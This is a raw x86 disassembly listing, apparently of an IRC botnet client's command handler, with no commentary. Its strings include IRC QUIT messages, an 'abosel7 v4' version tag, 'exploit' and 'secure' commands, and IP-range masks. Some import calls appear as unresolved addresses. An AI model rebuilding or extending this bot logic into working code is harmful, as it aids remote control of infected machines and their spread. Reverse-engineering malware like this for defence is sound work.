lea eax, [ebp+var_37D0] push esi push eax call sub_41C266 pop ecx pop ecx jmp short loc_403C4C ; --------------------------------------------------------------------------- loc_403C21: ; CODE XREF: sub_401ACD+2141j lea eax, [ebp+var_49F4] push 104h push eax nop call near ptr 26709F6h push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_49F4] push eax call sub_41C3B1 add esp, 14h loc_403C4C: ; CODE XREF: sub_401ACD+2152j lea eax, [ebp+var_37D0] push eax call sub_41B9C0 cmp [ebp+eax+var_37D1], 5Ch pop ecx jnz short loc_403C77 lea eax, [ebp+var_37D0] push eax call sub_41B9C0 pop ecx mov [ebp+eax+var_37D1], bl loc_403C77: ; CODE XREF: sub_401ACD+2194j push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A58] mov [ebp+var_3A5C], esi push 80h push eax call sub_41C360 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36BC], eax lea eax, [ebp+var_37D0] mov [ebp+var_36C0], edi push eax push [ebp+var_36CC] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C18C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B3BA add esp, 20h mov [ebp+var_36C4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A5C] push ebx push eax push offset sub_40FAD6 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_36C4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403D2B loc_403D19: ; CODE XREF: sub_401ACD+225Cj cmp [ebp+var_36B0], ebx jnz short loc_403D46 push 32h nop call near ptr 2670E97h jmp short loc_403D19 ; --------------------------------------------------------------------------- loc_403D2B: ; CODE XREF: sub_401ACD+224Aj nop call near ptr 2680972h push eax push offset unk_42C150 loc_403D37: ; CODE XREF: sub_401ACD+23BFj ; sub_401ACD+4BDCj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_403D46: ; CODE XREF: sub_401ACD+2252j ; sub_401ACD+23A3j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push edi jmp loc_4071A3 ; --------------------------------------------------------------------------- loc_403D56: ; CODE XREF: sub_401ACD+1AB1j ; sub_401ACD+1AC6j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403D75 push edi call sub_41C159 test eax, eax pop ecx jz short loc_403D75 push edi call sub_41C159 pop ecx jmp short loc_403D7A ; --------------------------------------------------------------------------- loc_403D75: ; CODE XREF: sub_401ACD+2292j ; sub_401ACD+229Dj mov eax, dword_429080 loc_403D7A: ; CODE XREF: sub_401ACD+22A6j mov [ebp+var_1828], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403D91 lea eax, [ebp+var_C4] loc_403D91: ; CODE XREF: sub_401ACD+22BCj push eax lea eax, [ebp+var_1968] push 40h push eax call sub_41C360 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403DB3 mov esi, offset byte_43DB88 loc_403DB3: ; CODE XREF: sub_401ACD+22DFj push esi lea eax, [ebp+var_1928] push 100h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_19E8] push [ebp+var_88] push 80h push eax call sub_41C360 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1814], eax lea eax, [ebp+var_1968] push eax mov [ebp+var_19EC], esi push [ebp+var_1828] mov [ebp+var_1818], edi push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C114 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B3BA add esp, 20h mov [ebp+var_1824], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19EC] push ebx push eax push offset word_41144E push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1824] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403E80 loc_403E6A: ; CODE XREF: sub_401ACD+23B1j cmp [ebp+var_1810], ebx jnz loc_403D46 push 32h nop call near ptr 2670E97h jmp short loc_403E6A ; --------------------------------------------------------------------------- loc_403E80: ; CODE XREF: sub_401ACD+239Bj call near ptr 2680972h nop push eax push offset unk_42C0D8 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_403E91: ; CODE XREF: sub_401ACD+1A87j ; sub_401ACD+1A9Cj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EA4 push esi call sub_41C159 jmp short loc_403EAB ; --------------------------------------------------------------------------- loc_403EA4: ; CODE XREF: sub_401ACD+23CDj push 0Bh call sub_40B621 loc_403EAB: ; CODE XREF: sub_401ACD+23D5j cmp eax, ebx pop ecx jz loc_409644 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BD1A jmp loc_404376 ; --------------------------------------------------------------------------- loc_403ECB: ; CODE XREF: sub_401ACD+1A5Dj ; sub_401ACD+1A72j mov eax, dword_4CB8F0 cmp eax, ebx jz short loc_403EE8 call eax test eax, eax jz short loc_403EE1 push offset unk_42C0B4 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE1: ; CODE XREF: sub_401ACD+240Bj push offset unk_42C088 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE8: ; CODE XREF: sub_401ACD+2405j push offset unk_42C05C loc_403EED: ; CODE XREF: sub_401ACD+2412j ; sub_401ACD+2419j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 jmp loc_406BFB ; --------------------------------------------------------------------------- loc_403F03: ; CODE XREF: sub_401ACD+1A33j ; sub_401ACD+1A48j call sub_40A928 test eax, eax jz short loc_403F13 push offset unk_42C038 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F13: ; CODE XREF: sub_401ACD+243Dj push offset unk_42C00C jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F1A: ; CODE XREF: sub_401ACD+1A09j ; sub_401ACD+1A1Ej cmp [ebp+var_8], ebx jnz short loc_403F39 push ebx push [ebp+var_4] push offset dword_42BFF4 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403F39: ; CODE XREF: sub_401ACD+2450j push ebx push [ebp+var_4] call sub_418723 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BFD8 jmp loc_40423F ; --------------------------------------------------------------------------- loc_403F5B: ; CODE XREF: sub_401ACD+18A0j ; sub_401ACD+18B5j push 0Ah call sub_40B602 test eax, eax pop ecx jle short loc_403F6E push offset unk_42BFAC jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F6E: ; CODE XREF: sub_401ACD+2498j push [ebp+var_88] push [ebp+arg_4] call sub_41A1B1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403F8A push offset unk_42BF84 jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F8A: ; CODE XREF: sub_401ACD+24B4j push offset unk_42BF64 loc_403F8F: ; CODE XREF: sub_401ACD+249Fj ; sub_401ACD+24BBj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx loc_403F9D: ; CODE XREF: sub_401ACD+5781j cmp [ebp+var_8], ebx jnz short loc_403FBE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_403FB6: ; CODE XREF: sub_401ACD+6DA8j call sub_409869 add esp, 14h loc_403FBE: ; CODE XREF: sub_401ACD+24D3j ; sub_401ACD+26B0j ... lea eax, [ebp+var_2C4] push eax call sub_415D38 jmp loc_4097D1 ; --------------------------------------------------------------------------- loc_403FCF: ; CODE XREF: sub_401ACD+1876j ; sub_401ACD+188Bj push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A5C5 jmp loc_404260 ; --------------------------------------------------------------------------- loc_403FE8: ; CODE XREF: sub_401ACD+184Cj ; sub_401ACD+1861j push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416FCF jmp loc_404260 ; --------------------------------------------------------------------------- loc_404005: ; CODE XREF: sub_401ACD+1822j ; sub_401ACD+1837j or edi, 0FFFFFFFFh call near ptr 269083Ah nop xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_40402E push esi call sub_41C159 pop ecx mov edi, eax loc_40402E: ; CODE XREF: sub_401ACD+2556j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_404047 cmp edi, 0FFFFFFFFh jnz loc_409644 loc_404047: ; CODE XREF: sub_401ACD+256Fj push ebx call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF4C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 lea eax, [ebp+var_2C4] push eax call sub_415D38 loc_404085: ; CODE XREF: sub_401ACD+51BCj add esp, 24h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_401ACD+17F8j ; sub_401ACD+180Dj push 27h call sub_40B602 test eax, eax pop ecx jle short loc_4040BE cmp [ebp+var_8], ebx jnz loc_401F75 push ebx push [ebp+var_4] push offset unk_42BF2C loc_4040AB: ; CODE XREF: sub_401ACD+4F88j push [ebp+var_88] push [ebp+arg_4] call sub_409869 jmp loc_408C05 ; --------------------------------------------------------------------------- loc_4040BE: ; CODE XREF: sub_401ACD+25CAj push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax mov [ebp+var_B40], ebx jz short loc_40411F push esi push offset aFull ; "full" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40411F mov [ebp+var_B40], 1 loc_40411F: ; CODE XREF: sub_401ACD+2635j ; sub_401ACD+2646j lea eax, [ebp+var_2C4] push offset dword_42BF08 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B3BA add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_419E38 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40418D loc_404177: ; CODE XREF: sub_401ACD+26BEj cmp [ebp+var_B34], ebx jnz loc_403FBE push 32h call near ptr 2670E97h nop jmp short loc_404177 ; --------------------------------------------------------------------------- loc_40418D: ; CODE XREF: sub_401ACD+26A8j nop call near ptr 2680972h push eax lea eax, [ebp+var_2C4] push offset unk_42BECC push eax call sub_41C266 add esp, 0Ch jmp loc_403FBE ; --------------------------------------------------------------------------- loc_4041AD: ; CODE XREF: sub_401ACD+17CEj ; sub_401ACD+17E3j cmp [ebp+var_8], ebx jnz short loc_4041CC push ebx push [ebp+var_4] push offset unk_42BEB4 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4041CC: ; CODE XREF: sub_401ACD+26E3j push [ebp+arg_4] call dword_4CBA6C call dword_4CB92C call sub_4188A6 push ebx nop call near ptr 77E75CB5h loc_4041E7: ; CODE XREF: sub_401ACD+17A4j ; sub_401ACD+17B9j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AF8F pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BE9C jmp short loc_40423F ; --------------------------------------------------------------------------- loc_404212: ; CODE XREF: sub_401ACD+177Aj ; sub_401ACD+178Fj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BE84 loc_40423F: ; CODE XREF: sub_401ACD+2489j ; sub_401ACD+2743j call sub_415D38 add esp, 18h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40424C: ; CODE XREF: sub_401ACD+1750j ; sub_401ACD+1765j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415DD8 loc_404260: ; CODE XREF: sub_401ACD+3C8j ; sub_401ACD+2516j ... add esp, 10h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_404268: ; CODE XREF: sub_401ACD+1726j ; sub_401ACD+173Bj cmp [ebp+var_C], ebx mov [ebp+var_1598], bl jz short loc_4042A7 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042A7 push esi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4042A7 push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1598] push 80h push eax call sub_41C360 add esp, 10h loc_4042A7: ; CODE XREF: sub_401ACD+27A4j ; sub_401ACD+27AFj ... push [ebp+var_88] lea eax, [ebp+var_1618] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_161C], eax mov eax, [ebp+var_4] mov [ebp+var_1514], eax mov eax, [ebp+var_8] mov [ebp+var_1510], eax lea eax, [ebp+var_2C4] push offset dword_42BE6C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B3BA add esp, 14h mov [ebp+var_1518], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_161C] push ebx push eax push offset byte_415E4B push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1518] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40434A loc_404334: ; CODE XREF: sub_401ACD+287Bj cmp [ebp+var_150C], ebx jnz loc_401F75 push 32h nop call near ptr 2670E97h jmp short loc_404334 ; --------------------------------------------------------------------------- loc_40434A: ; CODE XREF: sub_401ACD+2865j nop call near ptr 2680972h push eax push offset unk_42BE34 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_40435B: ; CODE XREF: sub_401ACD+16FCj ; sub_401ACD+1711j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415CC0 push offset unk_42BE1C call sub_415D38 loc_404376: ; CODE XREF: sub_401ACD+23F9j add esp, 10h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40437E: ; CODE XREF: sub_401ACD+16D2j ; sub_401ACD+16E7j push [ebp+var_88] lea eax, [ebp+var_C5C] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_C60], eax mov eax, [ebp+var_4] mov [ebp+var_BD4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_BD0], eax jz short loc_4043D8 push offset dword_42BE18 push esi call sub_41CA50 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_BD8], eax jmp short loc_4043DE ; --------------------------------------------------------------------------- loc_4043D8: ; CODE XREF: sub_401ACD+28EFj mov [ebp+var_BD8], ebx loc_4043DE: ; CODE XREF: sub_401ACD+2909j lea eax, [ebp+var_2C4] push offset dword_42BDF8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B3BA add esp, 14h mov [ebp+var_BDC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C60] push ebx push eax push offset byte_40B425 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_BDC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40444C loc_404436: ; CODE XREF: sub_401ACD+297Dj cmp [ebp+var_BCC], ebx jnz loc_406C1F push 32h nop call near ptr 2670E97h jmp short loc_404436 ; --------------------------------------------------------------------------- loc_40444C: ; CODE XREF: sub_401ACD+2967j nop call near ptr 2680972h push eax push offset unk_42BDBC jmp loc_409091 ; --------------------------------------------------------------------------- loc_40445D: ; CODE XREF: sub_401ACD+1656j ; sub_401ACD+166Bj push offset aSbrsfgf ; "sbrsfgf" push offset unk_42BDA4 loc_404467: ; CODE XREF: sub_401ACD+29D9j lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h jmp loc_406C1F ; --------------------------------------------------------------------------- loc_404494: ; CODE XREF: sub_401ACD+162Cj ; sub_401ACD+1641j push dword_4CB714 call sub_41ADD8 pop ecx push eax push offset unk_42BD78 jmp short loc_404467 ; --------------------------------------------------------------------------- loc_4044A8: ; CODE XREF: sub_401ACD+1602j ; sub_401ACD+1617j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4044DA cmp [ebp+var_C], ebx jz short loc_4044E9 push esi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4044E9 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch jmp short loc_4044E9 ; --------------------------------------------------------------------------- loc_4044DA: ; CODE XREF: sub_401ACD+29E4j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409823 pop ecx pop ecx loc_4044E9: ; CODE XREF: sub_401ACD+29E9j ; sub_401ACD+29F8j ... push 0FFFFFFFEh jmp loc_401F77 ; --------------------------------------------------------------------------- loc_4044F0: ; CODE XREF: sub_401ACD+15D8j ; sub_401ACD+15EDj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409823 push offset unk_42BD28 call sub_415D38 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401F78 ; --------------------------------------------------------------------------- loc_404512: ; CODE XREF: sub_401ACD+15AEj ; sub_401ACD+15C3j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 push offset unk_42BCF8 call sub_415D38 add esp, 0Ch jmp loc_4095AD ; --------------------------------------------------------------------------- loc_404531: ; CODE XREF: sub_401ACD+1584j ; sub_401ACD+1599j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA9E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404547: ; CODE XREF: sub_401ACD+155Aj ; sub_401ACD+156Fj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA49 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_40455D: ; CODE XREF: sub_401ACD+1530j ; sub_401ACD+1545j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B9DD jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404573: ; CODE XREF: sub_401ACD+1506j ; sub_401ACD+151Bj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B90E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404589: ; CODE XREF: sub_401ACD+1461j ; sub_401ACD+1476j push [ebp+esi+var_8C] push 27h push offset dword_42BCE8 push offset dword_42BCD8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045A1: ; CODE XREF: sub_401ACD+1437j ; sub_401ACD+144Cj push [ebp+esi+var_8C] push 24h push offset dword_42BCCC push offset dword_42BCBC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045B9: ; CODE XREF: sub_401ACD+1050j ; sub_401ACD+1065j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_4045D8 push edi call sub_41C159 test eax, eax pop ecx jz short loc_4045D8 push edi call sub_41C159 pop ecx jmp short loc_4045DD ; --------------------------------------------------------------------------- loc_4045D8: ; CODE XREF: sub_401ACD+2AF5j ; sub_401ACD+2B00j mov eax, dword_429074 loc_4045DD: ; CODE XREF: sub_401ACD+2B09j mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404602 push esi loc_4045EF: ; CODE XREF: sub_401ACD+2B44j lea eax, [ebp+var_5A0] push 10h push eax call sub_41C360 add esp, 0Ch jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404602: ; CODE XREF: sub_401ACD+2B1Fj cmp [ebp+var_8FF], bl jz short loc_404613 lea eax, [ebp+var_C4] push eax jmp short loc_4045EF ; --------------------------------------------------------------------------- loc_404613: ; CODE XREF: sub_401ACD+2B3Bj mov [ebp+var_5A0], bl loc_404619: ; CODE XREF: sub_401ACD+2B33j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41C360 add esp, 0Ch push [ebp+var_590] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BC94 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset word_411BCE push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4046CA loc_4046B4: ; CODE XREF: sub_401ACD+2BFBj cmp [ebp+var_57C], ebx jnz loc_401F75 push 32h nop call near ptr 2670E97h jmp short loc_4046B4 ; --------------------------------------------------------------------------- loc_4046CA: ; CODE XREF: sub_401ACD+2BE5j nop call near ptr 2680972h push eax push offset dword_42BC58 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4046DB: ; CODE XREF: sub_401ACD+FFDj ; sub_401ACD+1012j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4046FB push esi call sub_41C159 test ax, ax pop ecx jz short loc_4046FB push esi call sub_41C159 pop ecx jmp short loc_404701 ; --------------------------------------------------------------------------- loc_4046FB: ; CODE XREF: sub_401ACD+2C17j ; sub_401ACD+2C23j mov ax, word_429084 loc_404701: ; CODE XREF: sub_401ACD+2C2Cj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41C360 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BC2C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409869 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B3BA add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset dword_40EF1C push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4047D0 loc_4047BA: ; CODE XREF: sub_401ACD+2D01j cmp [ebp+var_968], ebx jnz loc_401F75 push 32h call near ptr 2670E97h nop jmp short loc_4047BA ; --------------------------------------------------------------------------- loc_4047D0: ; CODE XREF: sub_401ACD+2CEBj nop call near ptr 2680972h push eax push offset unk_42BBEC jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4047E1: ; CODE XREF: sub_401ACD+FA9j ; sub_401ACD+FBEj ... push edi push offset aSecure ; "secure" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_404809 push edi push offset aSec ; "sec" call sub_41CA50 pop ecx mov [ebp+var_AA8], ebx test eax, eax pop ecx jnz short loc_404813 loc_404809: ; CODE XREF: sub_401ACD+2D23j mov [ebp+var_AA8], 1 loc_404813: ; CODE XREF: sub_401ACD+2D3Aj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_AA8], ebx mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] mov [ebp+var_AA0], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40485A mov eax, offset aUnsecuring ; "Unsecuring" loc_40485A: ; CODE XREF: sub_401ACD+2D86j push eax push offset dword_42BBB8 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_41A366 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4048CE loc_4048B8: ; CODE XREF: sub_401ACD+2DFFj cmp [ebp+var_A9C], ebx jnz loc_4082DE push 32h nop call near ptr 2670E97h jmp short loc_4048B8 ; --------------------------------------------------------------------------- loc_4048CE: ; CODE XREF: sub_401ACD+2DE9j nop call near ptr 2680972h push eax push offset dword_42BB7C jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4048DF: ; CODE XREF: sub_401ACD+F7Fj ; sub_401ACD+F94j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41ABFB loc_4048F0: ; CODE XREF: sub_401ACD+2A75j ; sub_401ACD+2A8Bj ... add esp, 0Ch jmp loc_409644 ; --------------------------------------------------------------------------- loc_4048F8: ; CODE XREF: sub_401ACD+F55j ; sub_401ACD+F6Aj push offset unk_42BB2C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_404902: ; CODE XREF: sub_401ACD+F2Bj ; sub_401ACD+F40j push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42BB1C jmp loc_406BEF ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+F01j ; sub_401ACD+F16j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404971 push esi call sub_41C159 cmp eax, ebx pop ecx jl short loc_404966 cmp eax, 3 jge short loc_404966 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40495B lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42CD50 push eax call sub_41C266 add esp, 0Ch mov [esi], bl jmp loc_4081AD ; --------------------------------------------------------------------------- loc_40495B: ; CODE XREF: sub_401ACD+2E6Dj push eax push offset unk_42BAF0 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404966: ; CODE XREF: sub_401ACD+2E58j ; sub_401ACD+2E5Dj push eax push offset unk_42BAC4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404971: ; CODE XREF: sub_401ACD+2E4Dj mov edi, [ebp+arg_18] xor esi, esi loc_404976: ; CODE XREF: sub_401ACD+2EC5j push [ebp+var_90] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_404999 inc esi add edi, 80h cmp esi, 3 jl short loc_404976 jmp loc_4081AD ; --------------------------------------------------------------------------- loc_404999: ; CODE XREF: sub_401ACD+2EB9j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42CD50 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_4049B3: ; CODE XREF: sub_401ACD+ED7j ; sub_401ACD+EECj push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403446 call sub_40B583 push ebx nop call near ptr 77E75CB5h loc_4049D9: ; CODE XREF: sub_401ACD+19B1j push offset aGet ; "get" push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404A67 cmp dword_4CF180, ebx jz short loc_404A01 push offset dword_4CEB60 loc_4049F7: ; CODE XREF: sub_401ACD+2F98j push offset unk_42BA88 jmp loc_404A97 ; --------------------------------------------------------------------------- loc_404A01: ; CODE XREF: sub_401ACD+2F23j push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E24] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_E24] push eax jmp short loc_4049F7 ; --------------------------------------------------------------------------- loc_404A67: ; CODE XREF: sub_401ACD+2F1Bj push edi call dword_4CBA14 cmp eax, 0FFFFFFFFh push edi jnz short loc_404A7B push offset unk_42BA48 jmp short loc_404A97 ; --------------------------------------------------------------------------- loc_404A7B: ; CODE XREF: sub_401ACD+2FA5j push offset dword_4CEB60 call sub_41C890 pop ecx mov dword_4CF180, 1 pop ecx push edi push offset unk_42BA1C loc_404A97: ; CODE XREF: sub_401ACD+2F2Fj ; sub_401ACD+2FACj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_40349D ; --------------------------------------------------------------------------- loc_404AAB: ; CODE XREF: sub_401ACD+199Cj push [ebp+arg_8] push offset aExploit ; "exploit" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_404BB1 mov eax, [ebp+var_4] mov esi, 80h mov [ebp+var_13E8], eax mov eax, [ebp+var_8] mov [ebp+var_13E4], eax mov eax, [ebp+arg_4] mov [ebp+var_13F8], eax push offset aF ; "#f" lea eax, [ebp+var_1478] push esi push eax mov [ebp+var_13F0], 1 call sub_41C360 add esp, 0Ch lea eax, [ebp+var_14F8] push offset aF ; "#f" push esi push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_1508] push edi 